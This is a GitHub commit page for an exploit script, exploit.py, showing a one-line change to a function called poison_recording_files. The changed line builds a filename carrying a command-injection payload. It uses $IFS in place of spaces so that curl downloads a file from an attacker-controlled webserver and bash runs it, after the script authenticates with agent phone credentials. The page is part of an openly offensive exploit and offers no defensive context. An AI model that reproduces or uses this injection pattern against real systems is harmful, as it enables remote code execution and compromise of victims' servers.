Skip to content

Commit

Permalink
Remove campaign ID from the payload
Browse files Browse the repository at this point in the history
  • Loading branch information
Chocapikk committed Sep 15, 2024
1 parent 1e5c4a5 commit 83c9bd5
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion exploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -562,7 +562,7 @@ def poison_recording_files(self, session, username, password):
self.custom_print(f"Authenticated as agent using phone credentials", "+")

try:
malicious_filename = f"{self.CAMPAIGN_ID}1337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS{self.MALICIOUS_FILENAME}&&bash$IFS{self.MALICIOUS_FILENAME})"
malicious_filename = f"$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS{self.MALICIOUS_FILENAME}&&bash$IFS{self.MALICIOUS_FILENAME})"
session_name = re.findall(
r"var session_name = '([a-zA-Z0-9_]+?)';", response.text
)[0]
Expand Down

0 comments on commit 83c9bd5

Please sign in to comment.